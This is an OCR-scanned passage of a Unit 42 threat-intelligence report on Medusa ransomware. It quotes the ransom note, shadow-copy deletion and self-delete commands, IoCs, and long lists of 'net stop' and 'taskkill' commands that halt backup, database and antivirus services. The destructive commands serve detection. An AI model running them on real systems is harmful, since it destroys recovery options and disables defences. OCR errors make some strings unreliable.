0Or Use Tox Chat Program(https://utox.org/uTox_winbd.exe)
Add user with our tox ID : 4AE245548F2A225882951FB14ESBFE7EEQIARCIAAELSIBIODIEAG2620D91A372205227254A9F

Our support email: ( medusa.support@onionmail.org )

Company identification hash:

Figure 25. Medusa ransomware ransom note.

The ransomware will perform various vssadmin-related operations, and it deletes itself with the following

commands to impact recovery and forensic efforts:

o vssadmin Delete Shadows /all /quiet
e vssadmin resize shadowstorage /for=C: /on=C: /maxsize=401MB
e vssadmin resize shadowstorage /for=C: /on=C: /maxsize=unbounded

e cmd /c ping localhost -n 3 > nul & del

Conclusion
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The emergence of the Medusa ransomware in late 2022 and its notoriety in 2023 marks a significant development
in the ransomware landscape. This operation showcases complex propagation methods, leveraging both system

vulnerabilities and initial access brokers, while adeptly avoiding detection through living-off-the-land techniques.

The Medusa Blog signifies a tactical evolution toward multi-extortion, with the group employing transparent
pressure tactics on victims through ransom demands publicized online. With 74 organizations across a spectrum of
industries affected to date, Medusa's indiscriminate targeting emphasizes the universal threat posed by such

ransomware actors.

Technical analysis by Unit 42 researchers reveals the nuanced exploitation strategies employed by the Medusa
ransomware group, from webshell placement on compromised servers to the deployment of encrypted kernel
drivers. This culminates in a novel application of netscan tools and Medusa’s gaze leading to file encryption using
the ominous .medusa file extension. As such, Medusa ransomware stands as a significant threat to organizations,

demanding a more proactive and strong defensive strategy.

Protections and Mitigations

Palo Alto Networks customers are better protected from the threats discussed above through the following

products:

e Advanced WildFire: The Advanced WildFire machine-learning models and analysis techniques have been
reviewed and updated in light of the IoCs shared in this research.
o Cortex XDR: All known Medusa ransomware samples are prevented by the XDR agent out of the box
using the following modules:
o Anti-ransomware module to prevent Medusa encryption behaviors on Windows
o Local Analysis prevention for Medusa binaries on Windows
o Behavioral Threat Protection (BTP) rule helps prevent ransomware activity on Windows as well as
Linux
o Additional protection can be added using indicators for Medusa
o Next-Generation Firewalls (NGFW):

o DNS signatures detect the known command and control (C2) domains, which are also categorized
as malware in URL Filtering.

o Next-Generation Firewall with the Advanced Threat Prevention security subscription can help block
the Webshell file traffic with best practices via the following Threat Prevention signatures: 80744,
86828.

e Prisma Cloud:

o While there is currently no known cloud infrastructure being affected by Medusa ransomware, any
cloud infrastructure running windows virtual machines should monitor their Windows-based VMs
using Cortex XDR Cloud Agents or Prisma Cloud Defender Agents. Both agents will monitor the
Windows VM instances for known Medusa malware, using signatures pulled from Palo Alto
Networks WildFire.

e Cortex Xpanse:
o Cortex Xpanse can be used to detect vulnerable services exposed directly to the internet that may be

exploitable and infected with Medusa ransomware.
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If you think you might have been compromised or have an urgent matter, get in touch with the_Unit 42 Incident

Response team or call:

e North America Toll-Free: 866.486.4842 (866.4.UNIT42)
e EMEA: +31.20.299.3130

e APAC: +65.6983.8730

e Japan: +81.50.1790.0200

Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA

members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt

malicious cyber actors. Learn more about the Cyber Threat Alliance.

Indicators of Compromise

Hashes

4d4df87cf8d8551d836f67fbde4337863bac3ff6b5cb324675054ea023b12ab6

657c0cce98d6e73e53b4001eeea51ed91fdcf3d47a18712b6badc66d59677980
7d68da8aa78929bb467682ddb080e750ed07cd21blee7a9f38cf2810eeb9cb95
9144a60ac86d4c91f7553768d9bef848acd3bd9fe3e599b7ea2024a8a3115669

736de79e0a2d08156bae608b2a3e63336829d59d38d61907642149a566ebd270

Infrastructure

e Medusakxxtp3uo7vusntvubnytaph4d3amxivbggl3hnhpk2nmus34yd|.]onion
o medusaxko7jxtrojdkxo66j7ck4q5tgktf7ugsqyfry4ebnxlcbkecyd|.]Jonion

Appendix

Services stopped by Medusa ransomware

e net stop "Acronis VSS Provider"
e net stop "Sophos Agent"

¢ net stop "Sophos Clean Service"
e net stop "Sophos Health Service"
e net stop "Sophos MCS Agent"
 net stop "Sophos MCS Client"

e net stop "Sophos Message Router"
e net stop "AcronisAgent"

e net stop "AcrSch2Svc"

e net stop "Antivirus"

e net stop "ARSM"
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net stop "BackupExecJobEngine"
net stop "BackupExecRPCService"
net stop "BackupExecVSSProvider"
net stop "bedbg"

net stop "DCAgent"

net stop "EPSecurityService"

net stop "EPUpdateService"

net stop "EraserSvc11710"

net stop "EsgShKernel"

net stop "FA_Scheduler"”

net stop "IISAdmin"

net stop "IMAP4Svc"

net stop "macmnsvc"

net stop "masvc"

net stop "MBAMService"

net stop "MBEndpointAgent"

net stop "McAfeeEngineService"
net stop "McAfeeFramework"

net stop "McShield"

net stop "McTaskManager"

net stop "mfemms"

net stop "mfevtp"

net stop "MMS"

net stop "mozyprobackup"

net stop "MsDtsServer"

net stop "MsDtsServer100"

net stop "MsDtsServer110"

net stop "MSExchangeES"

net stop "MSExchangelS"

net stop "MSExchangeMGMT"

net stop "MSExchangeMTA"

net stop "MSExchangeSA"

net stop "MSExchangeSRS"

net stop "MSOLAP$SQL_2008"
net stop "MSOLAP$SYSTEM_BGC"
net stop "MSOLAP$TPS"

net stop "MSOLAP$TPSAMA"

net stop "MSSQL$BKUPEXEC"
net stop "MSSQL$ECWDB2"

net stop "MSSQL$PRACTICEMGT"
net stop "MSSQL$PRACTTICEBGC"
net stop "MSSQL$PROFXENGAGEMENT"
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net stop "MSSQL$SBSMONITORING"
net stop "MSSQL$SSHAREPOINT"
net stop "MSSQL$SQL_2008"

net stop "MSSQL$SYSTEM_BGC"
net stop "MSSQLS$TPS"

net stop "MSSQL$TPSAMA"

net stop "MSSQL$VEEAMSQL2008R2"
net stop "MSSQL$SVEEAMSQL2012"
net stop "MSSQLFDLauncher"

net stop "MSSQLFDLauncher$TPS"
net stop "MSSQLSERVER"

net stop "MySQL80"

net stop "MySQL57"

net stop "ntrtscan"

net stop "OracleClientCache80"

net stop "PDVFSService"

net stop "POP3Svc"

net stop "ReportServer"

net stop "ReportServer$SQL_2008"
net stop "ReportServer$TPS"

net stop "ReportServer$TPSAMA"
net stop "RESvc"

net stop "sacsvr"

net stop "SamSs"

net stop "SAVAdminService"

net stop "SAVService"

net stop "SDRSVC"

net stop "SepMasterService"

net stop "ShMonitor"

net stop "Smcinst"

net stop "SmcService"

net stop "SMTPSvc"

net stop "SNAC"

net stop "SntpService"

net stop "sophossps"

net stop "SQLAgent$BKUPEXEC"
net stop "SQLAgent$SECWDB2"

net stop "SQLAgent$PRACTTICEBGC"
net stop "SQLAgent$PRACTTICEMGT"
net stop "SQLAgent$SHAREPOINT"
net stop "SQLAgent$SQL._2008"

net stop "SQLAgent$SYSTEM_BGC"
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net stop "SQLAgent$TPS"

net stop "SQLAgent$TPSAMA"
net stop "SQLAgent$VEEAMSQL2012"
net stop "SQLBrowser"

net stop "SQLSafeOLRService"
net stop "SQLSERVERAGENT"
net stop "SQLTELEMETRY"

net stop "SQLTELEMETRY $ECWDB2"
net stop "SQLWriter"

net stop "SstpSvc"

net stop "svcGenericHost"

net stop "swi_filter"

net stop "swi_service"

net stop "swi_update_64"

net stop "TmCCSF"

net stop "tmlisten"

net stop "TrueKey"

net stop "TrueKeyScheduler"

net stop "TrueKeyServiceHelper"
net stop "UIODetect"

net stop "VeeamBackupSvc"

net stop "VeeamBrokerSvc"

net stop "VeeamCatalogSvc"

net stop "VeeamCloudSvc"

net stop "VeeamDeploySvc"

net stop "VeeamMountSvc"

net stop "VeeamNFSSvc"

net stop "VeeamRESTSvc"

net stop "VeeamTransportSvc"
net stop "W3Svc"

net stop "wbengine"

net stop "WRSVC"

net stop "VeeamHvIntegrationSvc"
net stop "swi_update"

net stop "SQLAgent$CXDB"

net stop "SQL Backups"

net stop "MSSQL$PROD"

net stop "Zoolz 2 Service"

net stop "MSSQLServerADHelper"
net stop "SQLAgent$PROD"

net stop "msftesgl$PROD"

net stop "NetMsmqActivator"
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e net stop "EhttpSrv"

e net stop "ekrn"

e net stop "ESHASRV"

 net stop "MSSQL$SOPHOS"
 net stop "SQLAgent$SOPHOS"

e net stop "AVP"

 net stop "klnagent"

 net stop "MSSQL$SQLEXPRESS"
 net stop "SQLAgent$SQLEXPRESS"
e net stop "kavfsslp"

e net stop "KAVFSGT"

e net stop "KAVFS"

 net stop "mfefire"
Processes:

o taskkill /F /IM zoolz.exe /T

o taskkill /F /IM agntsvc.exe /T

e taskkill /F /IM dbeng50.exe /T

e taskkill /F /IM dbsnmp.exe /T

e taskkill /F /IM encsvc.exe /T

o taskkill /F /IM excel.exe /T

o taskkill /F /IM firefoxconfig.exe /T
e taskkill /F /IM infopath.exe /T

e taskkill /F /IM isqlplussvc.exe /T

e taskkill /F /IM msaccess.exe /T

« taskkill /F /IM msftesql.exe /T

e taskkill /F /IM mspub.exe /T

o taskkill /F /IM mydesktopqos.exe /T
e taskkill /F /IM mydesktopservice.exe /T
e taskkill /F /IM mysqld.exe /T

e taskkill /F /IM mysqld-nt.exe /T

e taskkill /F /IM mysqld-opt.exe /T

e taskkill /F /IM ocautoupds.exe /T

e taskkill /F /IM ocomm.exe /T

e taskkill /F /IM ocssd.exe /T

e taskkill /F /IM onenote.exe /T

o taskkill /F /IM oracle.exe /T

e taskkill /F /IM outlook.exe /T

e taskkill /F /IM powerpnt.exe /T

e taskkill /F /IM sgbcoreservice.exe /T
e taskkill /F /IM sqlagent.exe /T

o taskkill /F /IM sqlbrowser.exe /T
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e taskkill /F /IM sqlservr.exe /T

o taskkill /F /IM sqlwriter.exe /T

e taskkill /F /IM steam.exe /T

e taskkill /F /IM synctime.exe /T

e taskkill /F /IM tbirdconfig.exe /T
e taskkill /F /IM thebat.exe /T

e taskkill /F /IM thebat64.exe /T

e taskkill /F /IM thunderbird.exe /T
o taskkill /F /IM visio.exe /T

e taskkill /F /IM winword.exe /T

e taskkill /F /IM wordpad.exe /T

* taskkill /F /IM xfssvccon.exe /T

e taskkill /F /IM tmlisten.exe /T

e taskkill /F /IM PccNTMon.exe /T
e taskkill /F /IM CNTAoSMgr.exe /T
e taskkill /F /IM Ntrtscan.exe /T

e taskkill /F /IM mbamtray.exe /T

Additional Resources

e Medusa ransomware gang picks up steam as it targets companies worldwide — Bleeping Computer

» Toyota confirms breach after Medusa ransomware threatens to leak data — Bleeping Computer

e A Deep Dive Into Medusa Ransomware — Whitepaper, SecurityScorecard

Source: https://unit42.paloaltonetworks.com/medusa-ransomware-escalation-new-leak-site/
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